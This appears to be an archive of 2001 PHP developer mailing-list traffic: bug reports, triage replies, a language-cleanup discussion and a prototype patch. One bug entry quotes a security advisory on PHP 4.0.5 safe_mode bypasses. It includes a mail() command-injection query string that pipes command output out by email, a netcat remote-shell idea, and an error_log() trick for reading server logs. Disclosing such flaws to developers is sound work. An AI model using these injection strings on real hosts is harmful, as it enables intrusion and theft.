[PHP-DEV] Bug #11829: memory access violation
From: [EMAIL PROTECTED] Operating system: win2000professional PHP version: 4.0.4pl1 PHP Bug Type: IIS related Bug description: memory access violation I've writed a scheduling program with C to execute php application all day in the console mode.Sometimes will happen the following error message: The instruction at 0x78003abf referenced memory at 0x0111a000.The memory could not be read. This situation would not crash my C program.I only have to do is close the error message.But it will happen again after 3 or 4 hours. Do you have any idea about this situation? Thanks!! -- Edit Bug report at: http://bugs.php.net/?id=11829edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11830: domxml_new_child should manage also xml docs
From: [EMAIL PROTECTED] Operating system: Linux PHP version: 4.0.6 PHP Bug Type: Feature/Change Request Bug description: domxml_new_child should manage also xml docs resource domxml_new_child (string name, string content) it would be useful if the function handles also xml content, so that it's possible to incorporate a xml doc, without to have to dissasemble it -- Edit Bug report at: http://bugs.php.net/?id=11830edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11827 Updated: ImageTrueColorToPalette() creates palettemap.png
ID: 11827 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Bogus Bug Type: GD related Operating system: PHP Version: 4.0.6 Assigned To: Comments: It's not PHP that is doing that, but GD 2. However, the GD documentation states that this is the purpose of this function. Please also note that GD 2 is still in Beta. Derick Previous Comments: --- [2001-07-01 20:41:49] [EMAIL PROTECTED] When I use the function ImageTrueColorToPalette(), a file palettemap.png is created in the directory that contains my PHP script. Is this a bug or an undocumented feature? Sample code: ?php $NewImg = ImageCreateTrueColor ( 350, 500 ); ImageTrueColorToPalette( $NewImg, 1, 100 ); ? --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11827edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11828 Updated: Useless flock()
ID: 11828 Updated by: derick Reported By: Old-Status: Open Status: Feedback Bug Type: Filesystem function related Operating system: PHP Version: 4.0.6 Assigned To: Comments: Please provide a short reproducing script. Previous Comments: --- [2001-07-01 21:38:39] Hot Soon [EMAIL PROTECTED] Both flock($fp,1) and flock($fp,2) always return false. It makes flock() a useless function. --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11828edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11829 Updated: memory access violation
ID: 11829 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: IIS related Operating system: PHP Version: 4.0.4pl1 Assigned To: Comments: Is it possible that you can shorten down your script to the point where the problem still occurs, or provide the script in this bug report? Derick Previous Comments: --- [2001-07-02 02:31:01] [EMAIL PROTECTED] I've writed a scheduling program with C to execute php application all day in the console mode.Sometimes will happen the following error message: The instruction at 0x78003abf referenced memory at 0x0111a000.The memory could not be read. This situation would not crash my C program.I only have to do is close the error message.But it will happen again after 3 or 4 hours. Do you have any idea about this situation? Thanks!! --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11829edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11822 Updated: Warning: mail() ist not supported in this PHP build in ...
ID: 11822 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: Mail related Operating system: PHP Version: 4.0.6 Assigned To: Comments: If you don't have sendmail installed, or sendmail could not be found in $PATH:/usr/bin:/usr/sbin:/usr/etc:/etc:/usr/ucblib:/usr/lib then HAVE_SENDMAIL will not be defined. What is the name of your nullmailer binary? Derick Previous Comments: --- [2001-07-01 10:44:48] [EMAIL PROTECTED] Hi, config.log tells me: configure:4628: checking for sendmail Nothing else. (-- I have installed Nullmailer in a different location than /usr/.. -- is that bad?) Thank you for answering so fast, By(t)e, matthias --- [2001-07-01 10:25:07] [EMAIL PROTECTED] What does config.log tells about mail or sendmail? Derick --- [2001-07-01 10:16:08] [EMAIL PROTECTED] Hi, I've configured PHP 4.0.6 for CGI. Problem: Everytime mail()-function is called it returns the error: Waring - mail () is not supported in this PHP build I tried to add: #define HAVE_SENDMAIL 1 in the php_config.h - but the error stayed. By(t)e, Matthias --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11822edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] ANNOUNCE: Yet Another Template System (YATS)
Epinions.com has graciously allowed me to open-source another project I worked on during my employ. YATS is a templating system for PHP. It enables web developers to cleanly separate code/logic from display/html. This is useful for purposes of internationalization, multiple device access, development process flow, and general maintenance. Unlike most other such systems, it is a C extension, and is optimized for speed. The usage paradigm is similar to that of FastTemplate, but with some improvements. It specifically does not allow executing php in the templates, or anything that might be construed as a real language. YATS HomePage: http://yats.sourceforge.net/ I welcome all feedback and contributions. -danda -- Dan Libby [EMAIL PROTECTED], author of xmlrpc-epi check out xmlrpc-epi -- a C library for xmlrpc with a PHP extension. http://xmlrpc-epi.sourceforge.net and learn about xmlrpc, enabling remote procedure calls over the net. http://www.xmlrpc.com -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11828 Updated: Useless flock()
ID: 11828 Updated by: wez Reported By: Status: Feedback Bug Type: Filesystem function related Operating system: PHP Version: 4.0.6 Assigned To: Comments: Does Win32 implement flock()?? That might be why it doesn't do anything... --Wez. Previous Comments: --- [2001-07-02 02:55:38] [EMAIL PROTECTED] Please provide a short reproducing script. --- [2001-07-01 21:38:39] Hot Soon [EMAIL PROTECTED] Both flock($fp,1) and flock($fp,2) always return false. It makes flock() a useless function. --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11828edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11796 Updated: get_meta_tags doesn't work when the title tag consists of single quote
ID: 11796 User Update by: [EMAIL PROTECTED] Status: Closed Bug Type: Unknown/Other Function Operating system: Linux PHP Version: 4.0.5 Description: get_meta_tags doesn't work when the title tag consists of single quote where can I get the latest CVS? Thanks. Previous Comments: --- [2001-06-30 16:04:45] [EMAIL PROTECTED] Fixed in latest CVS. Thank you for your report. --- [2001-06-30 11:35:21] [EMAIL PROTECTED] I'll take this one. --- [2001-06-29 13:27:52] [EMAIL PROTECTED] Reproduced with latest CVS. --- [2001-06-29 03:18:17] [EMAIL PROTECTED] get_meta_tags will get nothing when this statics file is used.(please see the code down there) Only when the single quote inside the title tag removed, then the meta will be retrieved. I have tried to use this code inside PHP Version 4.0.4, and it works. Does anyone has any clue about it? html head TITLESanmina acquires Alcatel's manufacturing operations in Texas/TITLE META NAME=VERSION CONTENT=2.1/ META NAME=ISSUE CONTENT=121345/ META NAME=STARTDATE CONTENT=27-JUN-2001/ /head /html Thanks. --- Full Bug description available at: http://bugs.php.net/?id=11796 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11796 Updated: get_meta_tags doesn't work when the title tag consists of single quote
ID: 11796 Updated by: derick Reported By: [EMAIL PROTECTED] Status: Closed Bug Type: Unknown/Other Function Operating system: PHP Version: 4.0.5 Assigned To: elixer Comments: Either grab a snapshot form snaps.php.net or follow the instructions on getting the CVS version on: www.php.net/anoncvs.php Derick Previous Comments: --- [2001-07-02 04:11:02] [EMAIL PROTECTED] http://www.php.net/anoncvs.php --- [2001-07-02 04:05:45] [EMAIL PROTECTED] where can I get the latest CVS? Thanks. --- [2001-06-30 16:04:45] [EMAIL PROTECTED] Fixed in latest CVS. Thank you for your report. --- [2001-06-30 11:35:21] [EMAIL PROTECTED] I'll take this one. --- [2001-06-29 13:27:52] [EMAIL PROTECTED] Reproduced with latest CVS. --- The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online. ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11796edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11831: Connection Handling Functions Broken
From: [EMAIL PROTECTED] Operating system: Win2k/CGI PHP version: 4.0.6 PHP Bug Type: Unknown/Other Function Bug description: Connection Handling Functions Broken Regardless of the actual state of connection, state returned is always 0. ignore_user_abort (TRUE); // Tried with and without :) register_shutdown_function (create_function ('', 'error_log (connection_status (). (.time().)\n, 3, ./error_log.txt);')); /* Long slow page to load - easy to interrupt or timeout */ echo join ('', file ('http://www.advogato.org/person/')); -- Edit Bug report at: http://bugs.php.net/?id=11831edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11708 Updated: PHP safe mode troubles
ID: 11708 Updated by: zak Reported By: [EMAIL PROTECTED] Status: Open Bug Type: *General Issues Operating system: PHP Version: 4.0.5 Assigned To: zak Comments: Will look at this tomorrow and will contact author of the change (Derick Rethans) Previous Comments: --- [2001-06-26 14:57:34] [EMAIL PROTECTED] PS: this is a raw copy paste from a snippet of the mail i send to some members of the php core team. Im *not* going to try to format it nicely in this frustrating textbox. Labaratoire Contempt Date : 12/06/2001 Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED]) Impact : Minor in most cases. Subject : PHP safe_mode troubles. 1. PHP Version 4.0.5 breaks safe-mode. 1.0 - Description of the problem An extra 5th parameter was added to the mail() command breaking safemode: - snippet of the code in mail.c (lines 156-165) if (extra_cmd != NULL) { sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); strcpy (sendmail_cmd, sendmail_path); strcat (sendmail_cmd, ); strcat (sendmail_cmd, extra_cmd); } else { sendmail_cmd = sendmail_path; } sendmail = popen(sendmail_cmd, w); } } - end of code snippet The popen() function is the C library function popen(3). An attacker could easily upload a simple evil.php script containing: ? mail(foo@bar,foo,bar,,$bar); ? Then the script could be invoked using a simple query like: http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED] 1.1 Impact Well, first of all it renders an important part of safe_mode useless. Two examples come to mind: 1.1.1 Example 1 A customer has bougt some web space from a provider and is given only ftp access to upload his files. The customer is not supposed to have shell access nor view files outside of his home directory. The customer could easily upload and compile a lite version of the popular netcat tool (cd /usr/ports/*/netcat;make clean;makemake install) and spawn him self a remote shell on the hosting boxen. If something like suexec is not used by the provider, the shell spawned could in fact be a nobody (uid of webserver) shell. This could make the situation even worse. Situations where (virtual) hosting machines are used in a host-based authentication scheme, i am not even willing to *consider*. 1.1.2 Example 2 A customer has bought some web space from a provider and was given a shell account on the hosting boxen. If something similiar to suexec is not running the customer could spawn him self a nobody (www, web, uid of webserver) shell. (1.1.1) The impact of this varies on a per setup/provider basis. Most providers just dont *expect* someone to have a shell with the uid of the webserver on the hosting box. Internal scripts, database schemes and database password are commonly (but sadly) left owned by the uid/gid of the webserver. These become vulnerable. Even webserver configuration files (httpd.conf) and *complete* webserver roots owned by the uid/gid of the webserver have been observed in the wild. Experience learns that when unexepected-nobody access is gained on a (virtual) hosting machine bad things are bound to happen sooner or later. 1.2 - Solution Well, obviously just a slip of the PHP-team. 5th argument to mail() should not be honored in safe_mode. (MHO) 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode. 2.0 - Description of the problem PHP safe_mode has the nice feature of disallowing the opening/reading and writing to files that are not owned by the uid that the script is owned by. Though using some common sense it still is possible to open/read and write to files that are owned by the uid the webserver is running as. *notice* assuming that something like suexec is not in place */notice* An attacker could upload a simple script that does the following: ? $cmd = '? showsource($foo); ?'; error_log($cmd,3,/path/to/user/wwwspace/nobody.php); ? For example, assuming that the error_log is owned by the webserver it could be read using a simple query: http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log 2.1 - Impact Depends on the setup of the hosting box. If suexec or something similiar is used, impact is nihil. See also 1.1.1/1.1.2 2.3 - Solution Disallow the changing of the error_log location in safe_mode? Not really for me to say, the PHP-team will come with something
[PHP-DEV] Tidying up the language
In the light of Zend's proposal for a version 2 of the Zend Engine, now is probably a good time to discuss whether we can and/or should use the opportunity to also tidy up the language along the lines we discussed on this list a few months ago namely: Make function names case sensitive (and all lower case) Rename functions to make them consistent Address the order of arguments to functions so that needles and haystacks are consistent (searching for 'renaming' in the QA archive will get you to most of the previous discussion) A general concensus was not reached last time around, but I'm pretty sure that a majority of those who joined in the discussion thought it was a good idea to do at least some of the above. My own thoughts on the timing of such an effort are that if the version 2 Zend engine warrants a version 5 of PHP then we should make the effort and do something to synchronise with the release of the new engine, so that all the major changes happen together. If the new engine only causes the PHP version number to go to 4.1 then I don't think we should introduce a language cleanup at this point, although I do think we should be working on it. Rather than start near infinite threads on the nitty gritty details of what and how to change things, can we first establish a concensus on whether to have a go now or later, and see if we have enough people prepared to put in the hours. Cheers -- Phil Driscoll -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11828 Updated: Useless flock()
ID: 11828 Updated by: hholzgra Reported By: Status: Feedback Bug Type: Filesystem function related Operating system: PHP Version: 4.0.6 Assigned To: Comments: CGI or server module ? Previous Comments: --- [2001-07-02 03:56:12] [EMAIL PROTECTED] Does Win32 implement flock()?? That might be why it doesn't do anything... --Wez. --- [2001-07-02 02:55:38] [EMAIL PROTECTED] Please provide a short reproducing script. --- [2001-07-01 21:38:39] Hot Soon [EMAIL PROTECTED] Both flock($fp,1) and flock($fp,2) always return false. It makes flock() a useless function. --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11828edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Tidying up the language
Hi Phil, it's nice to hear I'm not the one who still thinks about this stuff. At 12:04 7/2/2001, Phil Driscoll wrote the following: -- In the light of Zend's proposal for a version 2 of the Zend Engine, now is probably a good time to discuss whether we can and/or should use the opportunity to also tidy up the language along the lines we discussed on this list a few months ago namely: Make function names case sensitive (and all lower case) Rename functions to make them consistent Address the order of arguments to functions so that needles and haystacks are consistent snip / Rather than start near infinite threads on the nitty gritty details of what and how to change things, can we first establish a concensus on whether to have a go now or later, and see if we have enough people prepared to put in the hours. I'm ready. [EMAIL PROTECTED] - And the eyes of them both were opened and they saw that their files were world readable and writable, so they chmoded 600 their files. - Book of Installation chapt 3 sec 7 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11832: memory exhausted error
From: [EMAIL PROTECTED] Operating system: Linux 2.2.19 PHP version: 4.0.6 PHP Bug Type: *General Issues Bug description: memory exhausted error Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 9 bytes) in [somewhere]/mysql.php on line 8 Apache 1.3.19, PHP 4.0.6 configured with: ./configure --prefix=/opt/php4 --with-apxs=/opt/apache/bin/apxs --with-pgsql=/opt/pgsql --with-mysql=/opt/mysql/ --with-openssl=/usr/local/ssl/ --with-imap=/opt/imap --with-gettext --with-zlib --with-dom --with-gd --enable-gd-imgstrttf --enable-inline-optimization --with-xml --with-ttf --with-gdbm --with-mm --enable-versioning --enable-trans-sid --enable-magic-quotes --enable-safe-mode --enable-sockets --enable-sysvsem --enable-sysvshm --enable-shmop --enable-calendar --enable-exif --enable-memory-limit Might --enable-memory-limit be the culprit? (It's a production system and I can not play much with it) mysql.php worked correctly with php 4.0.5 mysql.php: ?php function getData($query) { global $host, $user, $password, $db; //echo $query.br; $conn = mysql_connect ($host, $user, $password); $result= mysql_db_query($db, $query); while($row = mysql_fetch_array($result)) $aux[] = $row; mysql_free_result($result); return $aux; }; function putData($query) { global $host, $user, $password, $db; $conn = mysql_connect ($host, $user, $password); $result= mysql_db_query($db, $query); return $query; }; ? -- Edit Bug report at: http://bugs.php.net/?id=11832edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Tidying up the language
Howdy Phil, Phil wrote: In the light of Zend's proposal for a version 2 of the Zend Engine, now is probably a good time to discuss whether we can and/or should use the opportunity to also tidy up the language along the lines we discussed on this list a few months ago namely: Make function names case sensitive (and all lower case) Rename functions to make them consistent Address the order of arguments to functions so that needles and haystacks are consistent Agreed [...] Rather than start near infinite threads on the nitty gritty details of what and how to change things, can we first establish a concensus on whether to have a go now or later, and see if we have enough people prepared to put in the hours. Count me in. :) --zak -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11832 Updated: memory exhausted error
ID: 11832 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: *General Issues Operating system: PHP Version: 4.0.6 Assigned To: Comments: This does look like a normal thing. Your script simply uses too mch memory. Can you increase the memory_limit to a higher value: memory_limit = 16M This should solve the problem if you are fetching too much rows. Derick Previous Comments: --- [2001-07-02 06:20:46] [EMAIL PROTECTED] Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 9 bytes) in [somewhere]/mysql.php on line 8 Apache 1.3.19, PHP 4.0.6 configured with: ./configure --prefix=/opt/php4 --with-apxs=/opt/apache/bin/apxs --with-pgsql=/opt/pgsql --with-mysql=/opt/mysql/ --with-openssl=/usr/local/ssl/ --with-imap=/opt/imap --with-gettext --with-zlib --with-dom --with-gd --enable-gd-imgstrttf --enable-inline-optimization --with-xml --with-ttf --with-gdbm --with-mm --enable-versioning --enable-trans-sid --enable-magic-quotes --enable-safe-mode --enable-sockets --enable-sysvsem --enable-sysvshm --enable-shmop --enable-calendar --enable-exif --enable-memory-limit Might --enable-memory-limit be the culprit? (It's a production system and I can not play much with it) mysql.php worked correctly with php 4.0.5 mysql.php: ?php function getData($query) { global $host, $user, $password, $db; //echo $query.br; $conn = mysql_connect ($host, $user, $password); $result= mysql_db_query($db, $query); while($row = mysql_fetch_array($result)) $aux[] = $row; mysql_free_result($result); return $aux; }; function putData($query) { global $host, $user, $password, $db; $conn = mysql_connect ($host, $user, $password); $result= mysql_db_query($db, $query); return $query; }; ? --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11832edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Tidying up the language
On Mon, 2 Jul 2001, Phil Driscoll wrote: Make function names case sensitive (and all lower case) Rename functions to make them consistent Address the order of arguments to functions so that needles and haystacks are consistent Adding these to the BBC-TODO: - Remove deprecated / not maintained extensions. (move them someplace else) - Remove all BC aliases for functions. If we're breaking BC, break it hard. Rather than start near infinite threads on the nitty gritty details of what and how to change things, can we first establish a concensus on whether to have a go now or later, and see if we have enough people prepared to put in the hours. I'm always ready to break things. :) --Jani -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11833: Unsufficient docs
From: [EMAIL PROTECTED] Operating system: any PHP version: 4.0.6 PHP Bug Type: Documentation problem Bug description: Unsufficient docs There isn't enough information, from which assosiative array we can acces to predefined variables, when register globals is not set. Espesially $PHP_SELF isn't in $HTTP_ENV_VARS but $HTTP_SERVER_VARS, which mean not intuos (in my opinion) localization. Regards -- Edit Bug report at: http://bugs.php.net/?id=11833edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] [PATCH] Corrected protos for basic_functions.c
Corrections of broken proto comments in basic_functions.c Also converted proto boolean to proto bool --zak Index: basic_functions.c === RCS file: /repository/php4/ext/standard/basic_functions.c,v retrieving revision 1.353 diff -u -r1.353 basic_functions.c --- basic_functions.c 2001/06/19 16:03:34 1.353 +++ basic_functions.c 2001/07/02 11:01:38 @@ -945,7 +945,7 @@ /* }}} */ -/* {{{ proto string ip2long(string ip_address) +/* {{{ proto int ip2long(string ip_address) Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address */ PHP_FUNCTION(ip2long) { @@ -1015,7 +1015,7 @@ #ifdef HAVE_PUTENV -/* {{{ proto void putenv(string setting) +/* {{{ proto bool putenv(string setting) Set the value of an environment variable */ PHP_FUNCTION(putenv) { @@ -1253,7 +1253,7 @@ } /* }}} */ -/* {{{ proto int settype(mixed var, string type) +/* {{{ proto bool settype(mixed var, string type) Set the type of the variable */ PHP_FUNCTION(settype) { @@ -1318,7 +1318,7 @@ /* }}} */ -/* {{{ proto int set_magic_quotes_runtime(int new_setting) +/* {{{ proto bool set_magic_quotes_runtime(int new_setting) Set the current active configuration setting of magic_quotes_runtime and return previous */ PHP_FUNCTION(set_magic_quotes_runtime) { @@ -1505,7 +1505,7 @@ 3 = save to file in 3rd parameter */ -/* {{{ proto int error_log(string message, int message_type [, string destination] [, string extra_headers]) +/* {{{ proto bool error_log(string message, int message_type [, string destination] +[, string extra_headers]) Send an error message somewhere */ PHP_FUNCTION(error_log) { @@ -1717,7 +1717,7 @@ int arg_count=ZEND_NUM_ARGS(); php_error(E_NOTICE, _CUM_DEPREC, call_user_method); - + if (arg_count2) { WRONG_PARAM_COUNT; } @@ -1939,7 +1939,7 @@ } -/* {{{ proto boolean highlight_file(string file_name) +/* {{{ proto bool highlight_file(string file_name) Syntax highlight a source file */ PHP_FUNCTION(highlight_file) { @@ -1962,7 +1962,7 @@ /* }}} */ -/* {{{ proto boolean highlight_string(string string) +/* {{{ proto bool highlight_string(string string) Syntax highlight a string */ PHP_FUNCTION(highlight_string) { @@ -2179,7 +2179,7 @@ } /* }}} */ -/* {{{ proto string print_r(mixed var) +/* {{{ proto bool print_r(mixed var) Prints out information about the specified variable */ PHP_FUNCTION(print_r) { @@ -2348,7 +2348,7 @@ /* }}} */ -/* {{{ proto void register_tick_function(string function_name [, mixed arg [, ... ]]) +/* {{{ proto bool register_tick_function(string function_name [, mixed arg [, ... ]]) Registers a tick callback function */ PHP_FUNCTION(register_tick_function) { @@ -2420,7 +2420,7 @@ } -/* {{{ proto boolean is_uploaded_file(string path) +/* {{{ proto bool is_uploaded_file(string path) check if file was created by rfc1867 upload */ PHP_FUNCTION(is_uploaded_file) { @@ -2445,7 +2445,7 @@ /* }}} */ -/* {{{ proto boolean move_uploaded_file(string path, string new_path) +/* {{{ proto bool move_uploaded_file(string path, string new_path) move a file if and only if it was created by an upload */ PHP_FUNCTION(move_uploaded_file) { @@ -2539,7 +2539,7 @@ } -/* {{{ proto void parse_ini_file(string filename [, boolean process_sections]) +/* {{{ proto array parse_ini_file(string filename [, boolean process_sections]) Parse configuration file */ PHP_FUNCTION(parse_ini_file) { -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11833 Updated: Unsufficient docs
ID: 11833 Updated by: goba Reported By: [EMAIL PROTECTED] Status: Open Bug Type: Documentation problem Operating system: PHP Version: 4.0.6 Assigned To: Comments: $PHP_SELF is not an environment variable, nor a server variable, it is a special PHP variable, so it wont be registered in any arrays you listed Previous Comments: --- [2001-07-02 06:53:24] [EMAIL PROTECTED] There isn't enough information, from which assosiative array we can acces to predefined variables, when register globals is not set. Espesially $PHP_SELF isn't in $HTTP_ENV_VARS but $HTTP_SERVER_VARS, which mean not intuos (in my opinion) localization. Regards --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11833edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11171 Updated: Faulty MSSQL-queries locks PHP
ID: 11171 User Update by: [EMAIL PROTECTED] Status: Open Bug Type: Sybase (dblib) related Operating system: FreeBSD PHP Version: 4.0.5 Description: Faulty MSSQL-queries locks PHP But the Sybase-library is used for MSSQL anyhow, so what's the difference? It still doesn't work. Previous Comments: --- [2001-06-30 15:11:33] [EMAIL PROTECTED] This is not related to the mssql extension. You are using the sybase extension. --- [2001-05-29 11:15:03] [EMAIL PROTECTED] Bug #7881, as posted by [EMAIL PROTECTED] and bug #9244 is still present in PHP4.0.5. Setup: FreeBSD 3.4-STABLE, Apache 1.3.20, PHP4.0.5, newest SybaseOpenClient for FreeBSD (not sure of version, older doesn't work either), SQLServer 7.0SP3 on WinNT. Sending a valid query, using mssql_query() works fine, sending an invalid query (for a table that does not exist for example), hangs the script. PHP does not timeout, the browser does eventually. For more details, see bug #7881. This is very important for me to get fixed, would be happy for some information on why this happens? Thanks! Peter --- Full Bug description available at: http://bugs.php.net/?id=11171 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] [PATCH] Corrected protos for basic_functions.c
Hello Zak, I did commit this... On Mon, 2 Jul 2001, Zak Greant wrote: Corrections of broken proto comments in basic_functions.c Also converted proto boolean to proto bool --zak Derick Rethans - PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED] SRM: Site Resource Manager - www.vl-srm.net - -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11731 Updated: PHP_URL_FOPEN only doesn't work
ID: 11731 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Open Bug Type: Network related Operating system: Linux PHP Version: 4.0.6 Description: PHP_URL_FOPEN only doesn't work oh sorry I'am a error with my message, test this code : ? $url = www.yahoo.com; $link = fopen(http://$url;, r); echo Link ($url): $linkBR; $url2 = www.voyage.com; $link2 = fopen(http://$url2;, r); echo Link2 ($url2): $link2BR; ? And link2 is only empty... Previous Comments: --- [2001-06-27 13:26:52] [EMAIL PROTECTED] Your example script works just fine for me. Which linux distribution is this? RH? Suse? Do you get any error messages into logs? --- [2001-06-27 05:56:51] [EMAIL PROTECTED] ? $url = www.yahoo.com; $link = fopen(http://$url;, r); echo Link ($url): $linkBR; $url2 = www.yahoo.com; $link2 = fopen(http://$url2;, r); echo Link2 ($url2): $link2BR; ? Yields: Link (www.yahoo.com): ($link is empty) Link2 (www.voyage.com): ($link2 is empty) version: PHP Version 4.0.6RC3 Configure: '../configure' '--prefix=/usr' '--with-apxs=/usr/bin/apxs' '--with-regex=system' '--with-config-file-path=/etc/php4/apache' '--disable-rpath' '--with-layout=GNU' '--enable-memory-limit' '--enable-calendar' '--enable-sysvsem' '--enable-sysvshm' '--enable-track-vars' '--enable-trans-sid' '--disable-debug' '--disable-static' '--enable-bcmath' '--with-bz2' '--enable-ctype' '--with-curl=shared,/usr' '--with-db2' '--with-ndbm' '--with-dom=shared,/usr' '--enable-exif' '--enable-filepro' '--enable-ftp' '--with-gettext' '--with-gd=shared,/usr' '--with-jpeg-dir=shared,/usr' '--with-xpm-dir=shared,/usr/X11R6' '--with-png-dir=shared,/usr' '--with-imap=shared,/usr' '--with-ldap=shared,/usr' '--with-mcal=shared,/usr' '--with-mm' '--with-mhash=shared,/usr' '--with-mysql=shared,/usr' '--with-pcre-regex=/usr' '--without-pgsql' '--with-sablot=shared,/usr' '--enable-shmop' '--with-snmp=shared' '--enable-sockets' '--with-sybase-ct=shared,/usr' '--with-ttf=shared,/usr' '--with-t1lib=shared,/usr' '--enable-wddx' '--with-xml=/usr' '--with-expat-dir=/usr' 